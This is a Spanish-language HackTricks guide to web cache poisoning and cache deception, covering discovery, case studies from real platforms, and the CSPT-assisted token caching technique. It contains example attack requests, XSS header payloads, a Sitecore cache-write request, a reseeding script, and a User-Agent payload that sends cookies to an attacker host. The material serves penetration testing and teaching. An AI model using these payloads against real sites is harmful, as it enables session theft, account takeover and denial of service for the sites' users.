Cache Poisoning and Cache Deception
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
La diferencia
¿Cuál es la diferencia entre web cache poisoning y web cache deception?
- En web cache poisoning, el atacante provoca que la aplicación almacene contenido malicioso en la cache, y ese contenido se sirve desde la cache a otros usuarios de la aplicación.
- En web cache deception, el atacante provoca que la aplicación almacene contenido sensible perteneciente a otro usuario en la cache, y luego el atacante recupera ese contenido desde la cache.
Cache Poisoning
Cache poisoning tiene como objetivo manipular la cache del lado del cliente para forzar a los clientes a cargar recursos inesperados, parciales o bajo el control de un atacante. La magnitud del impacto depende de la popularidad de la página afectada, ya que la respuesta contaminada se sirve exclusivamente a los usuarios que visiten la página durante el periodo de contaminación de la cache.
La ejecución de un ataque de cache poisoning implica varios pasos:
- Identification of Unkeyed Inputs: Estos son parámetros que, aunque no son necesarios para que una request sea cacheada, pueden alterar la response devuelta por el servidor. Identificar estos inputs es crucial, ya que pueden ser explotados para manipular la cache.
- Exploitation of the Unkeyed Inputs: Tras identificar los unkeyed inputs, el siguiente paso consiste en averiguar cómo abusar de estos parámetros para modificar la respuesta del servidor de forma que beneficie al atacante.
- Ensuring the Poisoned Response is Cached: El paso final es asegurarse de que la respuesta manipulada se almacene en la cache. De este modo, cualquier usuario que acceda a la página afectada mientras la cache está poisoned recibirá la respuesta contaminada.
Descubrimiento: Check HTTP headers
Normalmente, cuando una respuesta fue almacenada en la cache habrá un header indicando so, puedes revisar qué headers debes vigilar en este post: HTTP Cache headers.
Descubrimiento: Caching error codes
Si piensas que la respuesta se está almacenando en una cache, podrías intentar send requests with a bad header, lo cual debería responderse con un status code 400. Luego intenta acceder a la request normalmente y si la response es un status code 400, sabes que es vulnerable (y podrías incluso realizar un DoS).
Puedes encontrar más opciones en:
Sin embargo, ten en cuenta que a veces este tipo de status codes no se almacenan en la cache, por lo que esta prueba podría no ser fiable.
Descubrimiento: Identify and evaluate unkeyed inputs
Puedes usar Param Miner para brute-force parameters and headers que puedan estar changing the response of the page. Por ejemplo, una página puede estar usando el header X-Forwarded-For para indicar al cliente que cargue el script desde allí:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Provocar una respuesta dañina desde el servidor back-end
Con el parámetro/encabezado identificado, comprueba cómo se está sanitizado y dónde se está reflejando o afectando la respuesta desde el encabezado. ¿Puedes abusar de ello de todas formas (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?…)
Hacer que la respuesta se almacene en caché
Una vez que hayas identificado la página que puede ser abusada, qué parámetro/encabezado usar y cómo abusar de él, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que intentes poner en la caché, esto puede llevar algo de tiempo; podrías necesitar intentarlo durante varios segundos.
El encabezado X-Cache en la respuesta puede ser muy útil, ya que puede tener el valor miss cuando la petición no fue cacheada y el valor hit cuando sí lo está.
El encabezado Cache-Control también es interesante para saber si un recurso está siendo cacheado y cuándo será la próxima vez que el recurso se cachee: Cache-Control: public, max-age=1800
Otro encabezado interesante es Vary. Este encabezado se usa a menudo para indicar encabezados adicionales que se tratan como parte de la clave de caché incluso si normalmente no se usan como clave. Por lo tanto, si el atacante conoce el User-Agent de la víctima a la que apunta, puede envenenar la caché para los usuarios que usen ese User-Agent específico.
Otro encabezado relacionado con la caché es Age. Define el tiempo en segundos que el objeto ha estado en la caché del proxy.
Al cachear una petición, ten cuidado con los encabezados que usas porque algunos de ellos podrían usarse inesperadamente como tratados como clave y la víctima necesitará usar ese mismo encabezado. Siempre prueba un Cache Poisoning con diferentes navegadores para comprobar si funciona.
Estudios de caso fundamentales de cache poisoning
HackerOne global redirect via X-Forwarded-Host
- El origen usaba
X-Forwarded-Hostpara generar redirecciones y URLs canónicas, pero la clave de caché solo usaba el encabezadoHost, por lo que una sola respuesta envenenó a todos los visitantes de/. - Envenenar con:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Vuelve a solicitar inmediatamente
/sin la cabecera suplantada; si la redirección persiste tienes una primitiva global de host-spoofing que a menudo convierte redirecciones reflejadas/enlaces Open Graph en problemas almacenados.
DoS en repositorios de GitHub vía Content-Type + PURGE
- El tráfico anónimo se indexaba solo por ruta, mientras que el backend entraba en un estado de error cuando veía un
Content-Typeinesperado. Esa respuesta de error era almacenable en caché para cada usuario no autenticado de un repo. - GitHub también (accidentalmente) respetaba el verbo
PURGE, permitiendo al atacante invalidar una entrada sana y forzar a las cachés a recuperar la variante envenenada bajo demanda:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- Siempre compara authenticated vs anonymous cache keys, fuzz headers raramente keyed como
Content-Type, y prueba verbos expuestos de cache-maintenance para automatizar el re-poisoning.
Shopify cross-host persistence loops
- Multi-layer caches a veces requieren múltiples hits idénticos antes de confirmar un nuevo objeto. Shopify reutilizó la misma cache a través de numerosos hosts localizados, por lo que la persistence implicó impacto en muchas propiedades.
- Usa short automation loops para reseed repetidamente:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
- Después de una respuesta
hit, rastrea otros hosts/assets que compartan el mismo espacio de nombres de caché para demostrar el radio de impacto entre dominios.
Redirección de assets JS → stored XSS chain
- Los programas privados a menudo alojan JS compartido como
/assets/main.jsen docenas de subdominios. SiX-Forwarded-Hostinfluye en la lógica de redirección para esos assets pero no forma parte de la clave de caché, la respuesta cacheada se convierte en un 301 hacia un JS del atacante, provocando stored XSS en todos los lugares donde se importe el asset.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- Mapear qué hosts reutilizan la misma ruta de assets para que puedas probar compromiso multi-subdominio.
GitLab static DoS via X-HTTP-Method-Override
- GitLab servía bundles estáticos desde Google Cloud Storage, que respeta
X-HTTP-Method-Override. Sobrescribir GET a HEAD devolvía un200 OKcacheable conContent-Length: 0, y la edge cache ignoraba el método HTTP al generar la key.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- Una sola petición reemplazó el JS bundle con un cuerpo vacío para cada GET, provocando efectivamente DoSing de la UI. Siempre prueba las sobrescrituras de método (
X-HTTP-Method-Override,X-Method-Override, etc.) contra recursos estáticos y confirma si la caché varía según el método.
HackerOne bucle de recurso estático vía X-Forwarded-Scheme
- Rails’ Rack middleware confiaba en
X-Forwarded-Schemepara decidir si forzar HTTPS. Falsificarhttpcontra/static/logo.pngdesencadenó un 301 almacenable en caché, por lo que todos los usuarios recibieron posteriormente redirecciones (o bucles) en lugar del recurso:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- Combina scheme spoofing con host spoofing cuando sea posible para crear redirecciones irreversibles para recursos altamente visibles.
Cloudflare desajuste de mayúsculas en host-header
- Cloudflare normalizó el encabezado
Hostpara las claves de caché, pero reenviaba la capitalización original a los orígenes. EnviarHost: TaRgEt.CoMdesencadenó un comportamiento alternativo en el enrutamiento/plantillas de los orígenes mientras aún poblaba el bucket de caché canónico en minúsculas.
GET / HTTP/1.1
Host: TaRgEt.CoM
- Enumera CDN tenants repitiendo mixed-case hosts (y otros normalized headers) y diff la cached response con la origin response para descubrir shared-platform cache poisonings.
Red Hat Open Graph meta poisoning
- Injecting
X-Forwarded-Hostdentro de Open Graph tags convirtió una reflected HTML injection en un stored XSS una vez que la CDN cached the page. Usa un harmless cache buster durante las pruebas para evitar perjudicar a los production users:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- Los scrapers de redes sociales consumen las etiquetas Open Graph cacheadas, por lo que una única entrada envenenada distribuye el payload mucho más allá de los visitantes directos.
Ejemplos de explotación
Ejemplo más sencillo
Un encabezado como X-Forwarded-For se refleja en la respuesta sin sanitizar.\
Puedes enviar un payload XSS básico y envenenar la cache para que todo el que acceda a la página sea afectado por XSS:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Ten en cuenta que esto envenenará una petición a /en?region=uk y no a /en
Cache poisoning to DoS
Cache poisoning through CDNs
En this writeup se explica el siguiente escenario simple:
- La CDN almacenará en caché cualquier cosa bajo
/share/ - La CDN NO decodificará ni normalizará
%2F..%2F, por lo tanto, puede usarse como path traversal to access other sensitive locations that will be cached comohttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - El servidor web SÍ decodificará y normalizará
%2F..%2F, y responderá con/api/auth/session, que contiene el auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Las cookies también pueden reflejarse en la respuesta de una página. Si puedes abusar de ello para provocar un XSS, por ejemplo, podrías explotar XSS en varios clientes que carguen la respuesta maliciosa en caché.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Ten en cuenta que si la vulnerable cookie es muy usada por los usuarios, las solicitudes regulares limpiarán la cache.
Generar discrepancias con delimitadores, normalización y puntos
Revisa:
Cache Poisoning via URL discrepancies
Cache poisoning con path traversal para robar API key
Este writeup explica cómo fue posible robar una OpenAI API key con una URL como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 porque cualquier cosa que coincida con /share/* será cached sin que Cloudflare normalice la URL, lo cual sí se hacía cuando la petición llegaba al servidor web.
Esto también se explica mejor en:
Cache Poisoning via URL discrepancies
Uso de múltiples headers para explotar web cache poisoning vulnerabilities
A veces necesitarás explotar varios unkeyed inputs para poder abusar de una cache. Por ejemplo, puedes encontrar un Open redirect si configuras X-Forwarded-Host a un dominio que controlas y X-Forwarded-Scheme a http.Si el server está forwarding todas las peticiones HTTP a HTTPS y usa la header X-Forwarded-Scheme como el nombre de dominio para el redirect, puedes controlar dónde apunta la página mediante la redirect.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Explotando con una cabecera Vary limitada
Si detectas que la cabecera X-Host se está usando como nombre de dominio para cargar un recurso JS, pero la cabecera Vary en la respuesta indica User-Agent, entonces necesitas encontrar una forma de exfiltrate el User-Agent de la victim y poison the cache usando ese user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envía una petición GET con la solicitud en la URL y en el cuerpo. Si el servidor web usa la que está en el cuerpo pero el servidor de caché almacena la que está en la URL, cualquiera que acceda a esa URL en realidad usará el parámetro del cuerpo. Como la vuln que James Kettle encontró en el sitio web de Github:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Hay un laboratorio de PortSwigger sobre esto: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Por ejemplo, es posible separar parameters en servidores ruby usando el carácter ; en lugar de &. Esto podría usarse para colocar valores de parámetros sin clave dentro de parámetros con clave y abusar de ello.
Laboratorio de PortSwigger: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Aprende aquí cómo realizar Cache Poisoning attacks by abusing HTTP Request Smuggling.
Automated testing for Web Cache Poisoning
El Web Cache Vulnerability Scanner puede usarse para probar automáticamente web cache poisoning. Soporta muchas técnicas diferentes y es altamente personalizable.
Example usage: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Este patrón del mundo real encadena una primitiva de reflexión basada en headers con el comportamiento de CDN/WAF para envenenar de forma fiable el HTML cacheado que se sirve a otros usuarios:
- El HTML principal reflejaba una cabecera de petición no confiable (p. ej.,
User-Agent) en un contexto ejecutable. - El CDN eliminaba las cabeceras de caché pero existía un cache interno/origen. El CDN también auto-cachaba requests que terminaban en extensiones estáticas (p. ej.,
.js), mientras que el WAF aplicaba una inspección de contenido más débil a los GETs de assets estáticos. - Peculiaridades en el flujo de requests permitían que una request a una ruta
.jsinfluyera en la clave/variante de caché usada para el HTML principal subsecuente, permitiendo XSS entre usuarios vía reflexión de headers.
Receta práctica (observada en un CDN/WAF popular):
- Desde una IP limpia (evita downgrades basados en reputación previa), establece un
User-Agentmalicioso vía el navegador o Burp Proxy Match & Replace. - En Burp Repeater, prepara un grupo de dos requests y usa “Send group in parallel” (el modo single-packet funciona mejor):
- First request: GET a una ruta de recurso
.jsen el mismo origin mientras envías tuUser-Agentmalicioso. - Immediately after: GET la página principal (
/).
- La carrera de enrutamiento CDN/WAF más el
.jsautocacheado a menudo siembra una variante de HTML cacheado envenenado que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (p. ej., mismas dimensionesVarycomoUser-Agent).
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Consejos operativos:
- Muchos CDNs ocultan los encabezados de caché; el envenenamiento puede mostrarse solo en ciclos de actualización de varias horas. Usa múltiples IP desde distintas ubicaciones y limita la velocidad para evitar disparadores de rate-limit o de reputación.
- Usar una IP de la propia cloud del CDN a veces mejora la consistencia del enrutamiento.
- Si hay un CSP estricto presente, esto sigue funcionando si la reflexión se ejecuta en el contexto HTML principal y el CSP permite ejecución inline o es eludido por el contexto.
Impacto:
- Si las cookies de sesión no son
HttpOnly, un zero-click ATO es posible mediante la exfiltración masiva dedocument.cookiede todos los usuarios que reciben el HTML envenenado.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Un patrón específico de Sitecore permite escrituras no autenticadas al HtmlCache abusando de pre‑auth XAML handlers y AjaxScriptManager reflection. Cuando se alcanza el handler Sitecore.Shell.Xaml.WebControl, un xmlcontrol:GlobalHeader (derivado de Sitecore.Web.UI.WebControl) está disponible y se permite la siguiente llamada reflectiva:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Esto escribe HTML arbitrario bajo una cache key escogida por el atacante, permitiendo un poisoning preciso una vez que se conocen las cache keys.
Para más detalles (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Ejemplos Vulnerables
Apache Traffic Server (CVE-2021-27577)
ATS reenviaba el fragmento dentro de la URL sin eliminarlo y generaba la cache key usando solo el host, path y query (ignorando el fragmento). Así que la petición /#/../?r=javascript:alert(1) fue enviada al backend como /#/../?r=javascript:alert(1) y la cache key no incluía la carga útil dentro de ella, solo host, path y query.
403 y Storage Buckets
Cloudflare previamente cacheaba respuestas 403. Intentar acceder a S3 o Azure Storage Blobs con cabeceras Authorization incorrectas resultaba en una respuesta 403 que se almacenaba en cache. Aunque Cloudflare ha dejado de cachear respuestas 403, este comportamiento aún podría estar presente en otros servicios proxy.
Injecting Keyed Parameters
Las caches a menudo incluyen parámetros GET específicos en la cache key. Por ejemplo, Varnish de Fastly cacheaba el parámetro size en las peticiones. Sin embargo, si una versión con URL-encoding del parámetro (p. ej., siz%65) también se enviaba con un valor erróneo, la cache key se construiría usando el parámetro correcto size. Aun así, el backend procesaría el valor en el parámetro URL-encoded. URL-encoding del segundo parámetro size hacía que fuera omitido por la cache pero utilizado por el backend. Asignar un valor de 0 a este parámetro resultaba en un error 400 Bad Request cacheable.
Reglas de User Agent
Algunos desarrolladores bloquean peticiones con user-agents que coinciden con herramientas de alto tráfico como FFUF o Nuclei para gestionar la carga del servidor. Irónicamente, este enfoque puede introducir vulnerabilidades como cache poisoning y DoS.
Illegal Header Fields
El RFC7230 especifica los caracteres aceptables en los nombres de cabecera. Cabeceras que contienen caracteres fuera del rango tchar deberían idealmente provocar una respuesta 400 Bad Request. En la práctica, los servidores no siempre siguen este estándar. Un ejemplo notable es Akamai, que reenvía cabeceras con caracteres inválidos y cachea cualquier 400 error, siempre que el header cache-control no esté presente. Se identificó un patrón explotable donde enviar una cabecera con un carácter ilegal, como \, daría lugar a un 400 Bad Request cacheable.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
El objetivo de Cache Deception es hacer que los clientes carguen recursos que van a ser guardados por la cache con su información sensible.
Antes que nada, observa que las extensiones como .css, .js, .png, etc. suelen estar configuradas para ser guardadas en la cache. Por lo tanto, si accedes a www.example.com/profile.php/nonexistent.js la cache probablemente almacenará la respuesta porque detecta la extensión .js. Pero, si la aplicación está respondiendo con los contenidos sensibles del usuario almacenados en www.example.com/profile.php, puedes robar esos contenidos de otros usuarios.
Otras cosas para probar:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Otro ejemplo muy claro se puede encontrar en este write-up: https://hackerone.com/reports/593712.
En el ejemplo, se explica que si cargas una página no existente como http://www.example.com/home.php/non-existent.css el contenido de http://www.example.com/home.php (con la información sensible del usuario) será devuelto y el servidor de cache guardará el resultado.
Entonces, el attacker puede acceder a http://www.example.com/home.php/non-existent.css en su propio navegador y observar la confidential information de los usuarios que accedieron antes.
Ten en cuenta que el cache proxy debe estar configurado para cachear archivos basándose en la extensión del archivo (.css) y no basarse en el content-type. En el ejemplo http://www.example.com/home.php/non-existent.css tendrá un content-type text/html en lugar de un mime type text/css.
Aprende aquí sobre cómo realizar Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
Este patrón combina un primitive de Client-Side Path Traversal (CSPT) en una Single-Page App (SPA) con caché basada en extensiones por parte del CDN para cachear públicamente JSON sensibles que originalmente solo estaban disponibles vía una llamada API autenticada.
Idea general:
- Un endpoint API sensible requiere un header de auth personalizado y está correctamente marcado como non-cacheable en el origin.
- Añadir un sufijo que parezca estático (por ejemplo, .css) hace que el CDN trate el path como un asset estático y cachee la respuesta, a menudo sin variar según headers sensibles.
- La SPA contiene CSPT: concatena un segmento de path controlado por el usuario en la URL de la API mientras adjunta el header de auth de la víctima (por ejemplo, X-Auth-Token). Al inyectar traversal ../.., el fetch autenticado se redirige a la variante del path cacheable (…/v1/token.css), provocando que el CDN cachee el JSON del token de la víctima bajo una cache key pública.
- Cualquiera puede entonces hacer un GET de esa misma cache key sin autenticación y recuperar el token de la víctima.
Ejemplo
- Endpoint sensible (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- Sufijo de apariencia estática hace que el CDN lo trate como cacheable:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT en SPA adjunta el auth header y permite traversal:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- Cadena de explotación:
- Atraer a la víctima a una URL que inyecta dot-segments en el parámetro path del SPA, p. ej.:
- El SPA realiza un authenticated fetch a:
- La normalización del navegador lo resuelve a:
- El CDN trata .css como un asset estático y cachea el JSON con Cache-Control: public, max-age=…
- Recuperación pública: cualquiera puede entonces hacer GET https://api.example.com/v1/token.css y obtener el JSON del token cacheado.
Precondiciones
- El SPA realiza fetch/XHR autenticados al mismo origin de la API (o cross-origin con CORS funcionando) y adjunta headers sensibles o bearer tokens.
- El Edge/CDN aplica caching basado en extensión para rutas que parecen estáticas (p. ej., *.css, *.js, imágenes) y no varía la clave de caché según el header sensible.
- El origin para el endpoint base es no-cacheable (correcto), pero la variante con sufijo de extensión está permitida o no está bloqueada por las reglas del edge.
Checklist de validación
- Identificar endpoints dinámicos sensibles y probar sufijos como .css, .js, .jpg, .json. Buscar Cache-Control: public/max-age y X-Cache: Hit (o su equivalente, p. ej., CF-Cache-Status) mientras el contenido sigue siendo JSON.
- Localizar código cliente que concatena input controlado por el usuario en rutas de la API mientras adjunta auth headers. Inyectar secuencias ../ para redirigir la request autenticada al endpoint objetivo.
- Confirmar que el header autenticado está presente en la request retargeted (p. ej., en un proxy o mediante logs del servidor) y que el CDN cachea la respuesta bajo la ruta traversed.
- Desde un contexto limpio (sin auth), solicitar la misma ruta y confirmar que el JSON secreto se sirve desde la caché.
Automatic Tools
- toxicache: Scanner en Golang para encontrar vulnerabilidades de web cache poisoning en una lista de URLs y probar múltiples técnicas de inyección.
- CacheDecepHound: Scanner en Python diseñado para detectar vulnerabilidades de Cache Deception en servidores web.
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


